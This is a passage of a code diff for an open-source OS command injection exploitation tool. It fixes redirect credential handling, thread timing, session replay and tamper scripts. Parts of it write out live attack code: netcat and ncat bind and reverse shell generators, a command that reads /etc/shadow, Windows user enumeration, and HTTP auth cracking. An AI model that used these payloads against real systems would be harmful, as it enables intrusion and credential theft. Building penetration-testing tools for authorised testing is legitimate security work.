@@ -261,6 +263,7 @@ def shellshock_handler(url, http_request_method, filename): if found and not found_this_header: found_this_header = True + working_cve = cve # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True @@ -275,7 +278,7 @@ def shellshock_handler(url, http_request_method, filename): session_handler.import_injection_points(url, technique, injection_type, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) if found_this_header: - _post_exploitation(url, cve, check_header, filename, technique, no_result) + _post_exploitation(url, working_cve, check_header, filename, technique, no_result) # Asked once for the whole run, not once per header. if not asked_keep_testing: diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index e6220df39b..64e1cad6b8 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -199,6 +199,7 @@ def report(username, password, succeeded): except KeyboardInterrupt: raise + settings.PERFORM_CRACKING = False if found_pair: username, password = found_pair if not settings.LOAD_SESSION: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b686e7c1de..0bbdc9d716 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -175,6 +175,7 @@ class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandl def print_http_response(self): with settings.REQUESTS_LOCK: settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + stability.note_request_sent() if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" @@ -280,6 +281,12 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: pending_error = err_msg break + # A status the list does not name is still an answer rather than a transport failure, and + # retrying cannot change it. Left to the loop it would never stop: the budget is re-doubled + # on every attempt, so it outgrows the count of attempts made against it. + if isinstance(err_msg, _urllib.error.HTTPError): + pending_error = err_msg + break except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 50e6696854..a53548ba42 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -685,7 +685,9 @@ def prefixes(payload, prefix): if not settings.LOAD_SESSION: parameter = menu.options.cookie specify_cookie_parameter(parameter) - if settings.CUSTOM_HEADER_INJECTION: + # One place is being tested at a time, and each of these settles the same values for the prefix + # below - so a second branch running would settle them again over the first one's answer. + elif settings.CUSTOM_HEADER_INJECTION: if not settings.LOAD_SESSION: parameter = settings.CUSTOM_HEADER_VALUE specify_custom_header_parameter(parameter) @@ -805,6 +807,11 @@ def do_cookie_check(cookie): continue # Ignoring the Google analytics cookie parameter. if cookies.ignore_google_analytics_cookie(all_params[param]): + # The one before it still carries the tag this pass would have replaced. Skipped without + # taking it back, two cookies arrive tagged, the payload is written into both, and the + # finding is reported against whichever comes first rather than the one that answered. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT tag if len(value) == 0: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 4350c2ff94..21ee43c420 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -32,16 +32,29 @@ class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): Request also on the redirected URL """ def redirect_request(self, request, fp, code, msg, headers, newurl): - if code in (301, 302, 303, 307): + if code in (301, 302, 303, 307, 308): settings.REDIRECT_CODE = code if not settings.FOLLOW_REDIRECT: # Not following a redirect is our own decision to remember, not one the user asked for. settings.WARNED_HTTP_ERROR_CODES.add(int(code)) return None - # Preserve the original method, not HEAD. - return Request(newurl.replace(' ', '%20'), + target = newurl.replace(' ', '%20') + carried = dict(request.headers) + """ + Anything that authenticates the request to the host it was made to is dropped where the + redirect leaves that host. A redirect is the target's to choose, so following one with the + credentials still attached would hand them to whichever host it named. + """ + if _urllib.parse.urlparse(target).netloc != _urllib.parse.urlparse(request.get_full_url()).netloc: + for header in list(carried): + if header.lower().replace("-", "") in ("authorization", "proxyauthorization", "cookie"): + del carried[header] + # Preserve the original method, not HEAD - except on 303, which asks for GET by definition. + if code == 303 and request.get_method() != "HEAD": + return Request(target, data=None, headers=carried, method="GET") + return Request(target, data=request.data, - headers=request.headers, + headers=carried, method=request.get_method() ) else: diff --git a/src/core/requests/reproduce.py b/src/core/requests/reproduce.py index c6895c07ea..f3e7c66a84 100644 --- a/src/core/requests/reproduce.py +++ b/src/core/requests/reproduce.py @@ -16,6 +16,7 @@ import re from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ @@ -75,8 +76,23 @@ def curl_command(url, http_request_method, vuln_parameter, payload): headers = [] if header_name: - # The payload rode in a header, so every parameter stays as it was. - headers.append(header_name + ": " + payload) + """ + The payload rode in a header, so every parameter stays as it was. + + A cookie header carries more than the one cookie the payload went into, and the real request + sends all of them with only that one's value replaced - so the whole header is rebuilt the + same way. Sending the payload on its own would drop the session cookie beside it, and the + command would not reproduce the finding. + """ + if header_name == settings.COOKIE and menu.options.cookie: + headers.append(header_name + ": " + _urllib.parse.unquote(checks.process_injectable_value(payload, menu.options.cookie))) + else: + headers.append(header_name + ": " + payload) + elif settings.USER_DEFINED_POST_DATA and (settings.IS_JSON or settings.IS_XML): + # A structured body is not a list of pairs: it goes over whole, with the payload written in. + body = _urllib.parse.unquote(checks.process_injectable_value(payload, settings.USER_DEFINED_POST_DATA)) + parameters = ["--data-raw", _quote(body)] + headers.append("Content-Type: " + ("application/json" if settings.IS_JSON else "application/xml")) elif settings.USER_DEFINED_POST_DATA: parameters, _ = _parameter_arguments(settings.USER_DEFINED_POST_DATA, vuln_parameter, payload) else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f7a592d068..1ff4925771 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -15,6 +15,7 @@ import re import time +import threading import difflib import statistics from socket import error as SocketError @@ -266,6 +267,11 @@ def _measure_response_time_with_auth_handling(url, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: + # Put to use, not only announced: what builds the Authorization header for + # every request after this is the option, so a pair found and left there + # would have the run carry on unauthenticated against a target that just + # said it needs credentials. + menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -294,6 +300,11 @@ def _measure_response_time_with_auth_handling(url, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: + # Put to use, not only announced: what builds the Authorization header for + # every request after this is the option, so a pair found and left there + # would have the run carry on unauthenticated against a target that just + # said it needs credentials. + menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -907,20 +918,38 @@ def url_reload(url, delay_seconds): """ Calculate the time related execution time """ +_injection_lock = threading.Lock() +_injections_in_flight = 0 +_transport_before_injection = None + def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): - saved_timeout, saved_keep_alive = settings.TIMEOUT, settings.KEEP_ALIVE + global _injections_in_flight, _transport_before_injection # A time-related payload asks the target to sleep, so the answer is meant to be late. Waiting less # than the delay we asked for turns our own request into a connection error, which on a target # slow enough to need a raised delay would abort the scan. needed = injected_delay_allowance() - if needed > settings.TIMEOUT: - settings.TIMEOUT = needed - # A pooled connection keeps the timeout it was opened with, so a reused one would ignore this. - settings.KEEP_ALIVE = False + """ + These two are read at the moment the socket is opened, and several workers can be here at once - + so what is saved and put back is the state before the first of them arrived, not before each. Any + other bookkeeping restores one worker's idea of the timeout while another's request is still in + flight, and that request times out on a delay it correctly asked for. + """ + with _injection_lock: + if _injections_in_flight == 0: + _transport_before_injection = (settings.TIMEOUT, settings.KEEP_ALIVE) + _injections_in_flight += 1 + if needed > settings.TIMEOUT: + settings.TIMEOUT = needed + # A pooled connection keeps the timeout it was opened with, so a reused one would ignore this. + settings.KEEP_ALIVE = False try: return _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) finally: - settings.TIMEOUT, settings.KEEP_ALIVE = saved_timeout, saved_keep_alive + with _injection_lock: + _injections_in_flight -= 1 + if _injections_in_flight == 0 and _transport_before_injection is not None: + settings.TIMEOUT, settings.KEEP_ALIVE = _transport_before_injection + _transport_before_injection = None """ Seconds a request needs to allow for, when the payload deliberately delays the answer. diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 985798586b..d32f542f20 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +import threading from src.utils import settings """ @@ -75,11 +76,26 @@ def adapt_delay(blocked): def retry_delay_seconds(): return 0 if settings.TIME_RELATED_ATTACK else settings.DELAY_RETRY +""" +Requests this thread has sent. + +Counted per thread rather than off the run-wide total: several workers share that total, so a +thread asking whether its own request was retried would be answered with everyone else's traffic - +under '--threads' always "yes", and every measurement taken the maximum number of times. +""" +_thread_state = threading.local() + +def note_request_sent(): + _thread_state.sent = getattr(_thread_state, "sent", 0) + 1 + +def requests_sent(): + return getattr(_thread_state, "sent", 0) + """ True if a transport-level retry happened mid-measurement, making exec_time untrustworthy. """ def request_was_retried(requests_before): - return settings.TOTAL_OF_REQUESTS - requests_before > 1 + return requests_sent() - requests_before > 1 """ True while the request loop should keep retrying: not succeeded, within budget, not unauthorized. @@ -109,7 +125,9 @@ def disable_retries(): True once a single-target scan has exhausted retries and the connection-error budget. """ def should_abandon_target(): - return settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS and connection_error_budget_exhausted() + # At or past it: the counter is raised from several places, so it can step over the budget + # between two checks and an equality would never hold. + return settings.TOTAL_OF_REQUESTS >= settings.MAX_RETRIES and not settings.MULTI_TARGETS and connection_error_budget_exhausted() """ Mark the target URL unreachable. diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 90b3273851..27ef4687ca 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -42,7 +42,9 @@ def _netcat_bind_shell(nc_alternative, use_dash_e=True): + nc_alternative + " -l -p " + settings.LPORT - + " 1>" + tmp_fifo + "\"" + # Taken away again when the pipeline ends, not only before it starts - cleared on the way in + # alone, the pipe is left on the target for good once the session closes. + + " 1>" + tmp_fifo + ";rm -f " + tmp_fifo + "\"" ) """ @@ -108,7 +110,9 @@ def gen_socat_bind(): Ncat bind TCP shell. """ def gen_ncat_bind(): - return "ncat -k -l " + settings.LPORT + " -e /bin/sh" + # Without '-k', as every other bind payload here: kept listening, it leaves an unauthenticated + # shell open on the target after the session that asked for it has ended. + return "ncat -l " + settings.LPORT + " -e /bin/sh" """ PHP meterpreter bind TCP shell (via msfvenom). diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 3441eb9491..16cc76f61f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -71,7 +71,9 @@ def _netcat_reverse_shell(nc_alternative, use_dash_e=True): + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT - + " 1>" + tmp_fifo + "\"" + # Taken away again when the pipeline ends, not only before it starts - cleared on the way in + # alone, the pipe is left on the target for good once the session closes. + + " 1>" + tmp_fifo + ";rm -f " + tmp_fifo + "\"" ) """ @@ -184,6 +186,10 @@ def gen_bash_reverse(separator): + separator + " /bin/bash /tmp/" + tmp_file + # Removed once the shell it started has ended, rather than left in the target's temp directory. + + separator + + " rm -f /tmp/" + + tmp_file ) """ diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 5c616bca22..6ce11f0d07 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -27,9 +27,18 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# What each whitespace was before this script first multiplied it. Kept because the list is shared +# and this runs once per payload: multiplying what was already multiplied compounds, and by the +# eighth payload the substitute is millions of characters long rather than a handful. +_pristine = {} + def tamper(payload): - for i in range(0, len(settings.WHITESPACES)): - settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) + for index, whitespace in enumerate(settings.WHITESPACES): + base = _pristine.setdefault(index, whitespace) + # A list rebuilt for another target, or one another script has changed, replaces what was kept. + if not whitespace.startswith(base): + base = _pristine[index] = whitespace + settings.WHITESPACES[index] = base * random.randrange(3, 8) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index a12e1cce1e..f69cd1ebdd 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -41,10 +41,20 @@ def nested(): else: menu.options.suffix = "\"" -if settings.TARGET_OS != settings.OS.WINDOWS: - nested() +""" +Applied on the first payload rather than at import. + +Importing a tamper script is what lets its dependencies be checked, and those run afterwards - so a +script rewriting the boundaries as it loaded had already done it by the time it was refused, and +left every payload for the rest of the run carrying a quote it never asked for. +""" +_applied = False def tamper(payload): + global _applied + if not _applied and settings.TARGET_OS != settings.OS.WINDOWS: + _applied = True + nested() return payload # eof \ No newline at end of file diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 05ee74ee06..85800ae55f 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -39,12 +39,15 @@ def tamper(payload): _ = _[::-1] + "|rev" else: _ = "$(echo \"" + _[::-1] + "\"|rev" + ")" - if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: if settings.USE_BACKTICKS: random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" else: random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd) + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, random_case_cmd) if len(settings.WHITESPACES) != 0: payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 70b9e39e13..7f004c0761 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -34,12 +34,15 @@ def dependencies(): def tamper(payload): if settings.EXPLOITATION_PHASE: - if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: if settings.USE_BACKTICKS: rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" else: rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd) + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, rev_cmd) if len(settings.WHITESPACES) != 0: payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload diff --git a/src/utils/menu.py b/src/utils/menu.py index 69be14131c..6a4da7b817 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -677,7 +677,10 @@ def banner(): action="store", type="int", dest="failed_tries", - default=len(settings.SEPARATORS_LVL1) - 1, + # Left unset, so the technique can count the boundaries it is actually going to + # try. A fixed number here is a count of command separators, which says nothing + # about how many combinations the sink in hand leaves to get through. + default=None, help="Set a number of failed injection tries, in file-based technique.") detection.add_option("--smart", @@ -802,6 +805,11 @@ def _(self, *args): settings.USER_APPLIED_AUTH_CRED = bool(options.auth_cred) settings.USER_APPLIED_AUTH_TYPE = bool(options.auth_type) +# And the three a stored finding also carries, so resuming one can say when it disagrees +settings.USER_APPLIED_INTERPRETER = bool(options.interpreter) +settings.USER_APPLIED_TIMESEC = bool(options.timesec) +settings.USER_APPLIED_TMP_PATH = bool(options.tmp_path) + # Apply '--ignore-redirects' before the very first request is made settings.FOLLOW_REDIRECT = not options.ignore_redirects diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index e262d0aee1..2a67b2446c 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -98,15 +98,30 @@ def restore_option(stored, applied, label): return None return stored +""" +Say when a stored finding was made with something other than what this run was given. + +These are the values a replay cannot honour: the stored payload was built around them, so the one +given now would only appear to be in use. Announced and then left alone, rather than applied. +""" +def announce_replay_conflict(stored, applied, label, switch): + if not applied or str(applied) == str(stored): + return + warn_msg = ("The stored session was found using the " + label + " '" + str(stored) + "', which " + "differs from the '" + switch + "' value provided now ('" + str(applied) + "'). " + "Using the stored value to replay this technique consistently.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ How a stored technique is selected today: the technique letter it is reached by, and whether it reaches the evaluation sink. What was stored as its own technique letter is now a sink reached by one of the others, so a finding kept under the old spelling still resumes under the new one. """ -def technique_selection(technique_info): +def technique_selection(technique_info, injection_type=None): if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: return settings.EVAL_CAPABLE_TECHNIQUES[0], True - return technique_letter(technique_info), False + # Which sink was found is the stored type's to say: every other technique reaches either one. + return technique_letter(technique_info), injection_type in settings.EVAL_INJECTION_TYPES """ Map stored technique names to their "--technique" menu letters. @@ -233,19 +248,19 @@ def import_injection_points(url, technique, injection_type, filename, separator, "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " - "target_os VARCHAR, file_deleted VARCHAR DEFAULT '');") + "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '');") # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " - "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? LIMIT 1;") + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), - str(menu.options.tamper or ""), str(settings.TARGET_OS)) + str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or "")) if settings.BASE64_PADDING in params[0]: params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] @@ -256,8 +271,8 @@ def import_injection_points(url, technique, injection_type, filename, separator, if cursor.fetchone() is None: conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() # Mark injection checker as True to indicate session contains injection data @@ -322,8 +337,9 @@ def applied_techniques(url, http_request_method): with _session_connection() as conn: table = table_name(url) + "_ip" if table_exists(conn, table): - query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + ";" - cursor = conn.execute(query, url_params).fetchall() + clause, url_params = url_match(url) + query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor = conn.execute(query, url_params + (http_request_method,)).fetchall() for session in cursor: technique_info = session[0] letter = technique_letter(technique_info) @@ -347,8 +363,9 @@ def applied_levels(url, http_request_method): with _session_connection() as conn: table = table_name(url) + "_ip" if table_exists(conn, table): - query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE " + clause + ";" - cursor = conn.execute(query, url_params).fetchall() + clause, url_params = url_match(url) + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor = conn.execute(query, url_params + (http_request_method,)).fetchall() for session in cursor: http_header = session[0] level = int(session[1]) @@ -389,9 +406,9 @@ def has_any_stored_technique(url, http_request_method): return False cursor = conn.cursor() clause, url_params = url_match(url) - query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + query = "SELECT technique, injection_type FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" cursor.execute(query, url_params + (http_request_method,)) - return any(technique_selection(row[0])[0] and checks.technique_selected(*technique_selection(row[0])) for row in cursor.fetchall()) + return any(technique_selection(*row)[0] and checks.technique_selected(*technique_selection(*row)) for row in cursor.fetchall()) except (sqlite3.OperationalError, sqlite3.DatabaseError): return False @@ -433,7 +450,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: continue - technique, technique_is_eval = technique_selection(technique_info) + technique, technique_is_eval = technique_selection(technique_info, session[3]) if technique and checks.technique_selected(technique, technique_is_eval): found = True @@ -481,7 +498,7 @@ def load_stored_techniques(url, check_parameter, http_request_method): for session in cursor.fetchall(): row = session[1:] technique, vuln_parameter, http_header = row[1], row[5], row[11] - letter, letter_is_eval = technique_selection(technique) + letter, letter_is_eval = technique_selection(technique, row[2]) if check_parameter not in (vuln_parameter, http_header) or not letter: continue # A technique this run was not asked to test is not resumed, nor reported as resumed. @@ -503,6 +520,10 @@ def apply_stored_technique(row): tamper = row[20] if len(row) > 20 else "" # Older sessions (pre-target_os-column) won't have this field either. target_os = row[21] if len(row) > 21 else None + # Nor will they have the document root the stored payload writes into, or the temporary + # directory a finding that fell back to one used. + web_root = row[23] if len(row) > 23 else None + tmp_path = row[24] if len(row) > 24 else None if http_header: settings.HTTP_HEADER = http_header @@ -530,6 +551,24 @@ def apply_stored_technique(row): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Stored as text, restored as one of the two values the rest of the code compares against. settings.TARGET_OS = settings.OS.WINDOWS if target_os.lower() == settings.OS.WINDOWS else settings.OS.UNIX + if web_root and web_root != "None": + # The stored payload writes to the document root it was found with, spelled out inside it. + if settings.USER_APPLIED_WEB_ROOT: + announce_replay_conflict(web_root, menu.options.web_root, "document root", "--web-root") + settings.WEB_ROOT = web_root + if tmp_path and tmp_path != "None": + # Likewise the temporary directory, for a finding that fell back to one. + if settings.USER_APPLIED_TMP_PATH: + announce_replay_conflict(tmp_path, menu.options.tmp_path, "temporary directory", "--tmp-path") + menu.options.tmp_path = tmp_path + """ + The interpreter and the delay are stored as they were used, and the replay below is handed both. + Neither is taken from the command line again, so a run asking for something else is told so. + """ + if settings.USER_APPLIED_INTERPRETER: + announce_replay_conflict(interpreter or "none", menu.options.interpreter, "interpreter", "--interpreter") + if settings.USER_APPLIED_TIMESEC and timesec: + announce_replay_conflict(timesec, int(menu.options.timesec), "delay", "--time-sec") return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, @@ -649,7 +688,10 @@ def check_stored_waf_status(url): Restore a WAF/IPS finding from a previous session, before testing starts. """ def restore_waf_status(url): - if menu.options.skip_waf or menu.options.ignore_session or menu.options.flush_session: + # A run that asked for no heuristics gets none, cached or otherwise: what is restored here was + # learned by a heuristic probe, and it goes on to decide how the tamper scripts behave. + if menu.options.skip_waf or menu.options.ignore_session or menu.options.flush_session \ + or menu.options.skip_heuristics: return if not settings.WAF_ENABLED and check_stored_waf_status(url): settings.WAF_ENABLED = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 9c419d34fb..15774a4dfa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -252,7 +252,10 @@ def print_data_to_stdout(data): has_cr = END_LINE.CR in data has_lf = END_LINE.LF in data - is_spinner_style = has_cr or data == "." or data == " (done)" + # The marker that says a progress line is finished, which is exactly what closes it: without + # that, the next line written over the top of it inherits its tail and its "(done)" with it. + is_done_marker = data == " (done)" + is_spinner_style = has_cr or data == "." or is_done_marker is_established_closer = data == SINGLE_WHITESPACE if is_established_closer and not PROGRESS_LINE_OPEN: @@ -263,12 +266,12 @@ def print_data_to_stdout(data): sys.stdout.write(END_LINE.LF) # Only spinner output stays unterminated; other messages always end with a newline. - if not is_spinner_style: + if not is_spinner_style or is_done_marker: data = data + END_LINE.LF _stdout_write(data) sys.stdout.flush() - PROGRESS_LINE_OPEN = is_spinner_style and not has_lf + PROGRESS_LINE_OPEN = is_spinner_style and not has_lf and not is_done_marker """ Clear the current line before printing, without adding a blank line when already empty. @@ -332,7 +335,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "127" +REVISION = "128" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -710,6 +713,9 @@ class OS(object): # Whether '--web-root' was explicitly supplied on the CLI USER_APPLIED_WEB_ROOT = False +USER_APPLIED_INTERPRETER = False +USER_APPLIED_TIMESEC = False +USER_APPLIED_TMP_PATH = False # Whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI USER_APPLIED_COOKIE = "" @@ -790,6 +796,11 @@ class OS(object): WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" DEFAULT_WIN_USERS = ["Administrator", "DefaultAccount", "Guest"] +# What the target says instead of a list when the account running it may not ask for one. Seeing a +# built-in name is not the test - they can be renamed or removed - so this is what tells a refusal +# from a perfectly good enumeration of accounts we happen not to recognise. +WIN_ACCESS_DENIED = ["Access is denied", "System error 5", "not have permission", "Logon failure"] + # /etc/shadow SHADOW_FILE = "/etc/shadow" SYS_PASSES = FILE_READ + SHADOW_FILE @@ -832,7 +843,7 @@ class OS(object): # The letter that used to name the evaluation sink before '--eval' did, the technique that reaches # that sink today, and the one whose technique carries whichever sink it is given. EVAL_TECHNIQUE_LETTER = 'e' -EVAL_CAPABLE_TECHNIQUES = ('c',) +EVAL_CAPABLE_TECHNIQUES = ('c', 't', 'f') OOB_TECHNIQUE_LETTER = 'o' # The languages the evaluation sink knows how to reach, and the word standing for all of them. SUPPORTED_EVAL_LANGUAGES = _eval.supported() @@ -841,6 +852,25 @@ class OS(object): Point the code injection grammar at one language, so that everything derived from it - the probe, the boundaries, the functions that run a command - is that language's rather than the default's. """ +LEVEL_SCOPED = ("SEPARATORS", "PREFIXES", "SUFFIXES", "EVAL_PREFIXES", "EVAL_SUFFIXES", + "EVAL_SEPARATORS", "EXECUTION_FUNCTIONS") + +""" +Narrow the boundary lists to the level being tested, taking each from its own '_LVL<n>' source. + +Called again whenever those sources change - pointing the grammar at another language rewrites them, +and the lists the payloads are actually built from are these, not the sources. +""" +def apply_injection_level(level=None): + suffix = {DEFAULT_INJECTION_LEVEL: "LVL1", COOKIE_INJECTION_LEVEL: "LVL2", + HTTP_HEADER_INJECTION_LEVEL: "LVL3"}.get(INJECTION_LEVEL if level is None else level) + if not suffix: + return False + for name in LEVEL_SCOPED: + source = globals()[name + "_" + suffix] + globals()[name] = sorted(set(source), key=source.index) + return True + def set_eval_grammar(language): global EVAL_GRAMMAR, EVAL_PROBE_PAYLOADS, EVAL_PROBE_REGEX, EVAL_WARNINGS global EXECUTION_FUNCTIONS_LVL1, EXECUTION_FUNCTIONS_LVL2, EXECUTION_FUNCTIONS_LVL3 @@ -863,6 +893,9 @@ def set_eval_grammar(language): EVAL_SUFFIXES_LVL1 = EVAL_GRAMMAR.SUFFIXES_LVL1 EVAL_SUFFIXES_LVL2 = EVAL_GRAMMAR.SUFFIXES_LVL2 EVAL_SUFFIXES_LVL3 = EVAL_GRAMMAR.SUFFIXES_LVL3 + # The lists the payloads are built from are narrowed from the sources just rewritten, so they are + # taken again - otherwise the language named on the command line never reaches a single payload. + apply_injection_level() EVAL_ALL_LANGUAGES = 'all' # Said once per run, however many parameters the heuristic sees an evaluation sink on. EVAL_SUGGESTED = False @@ -874,6 +907,12 @@ class INJECTION_TYPE(object): BLIND = "blind command injection" BLIND_CE = "blind code injection" SEMI_BLIND = "semi-blind command injection" + SEMI_BLIND_CE = "semi-blind code injection" + +# The injection types that name a code-evaluation sink rather than a command one. What was found +# is recorded as a type, so a stored finding is read back through this rather than through the +# technique that found it 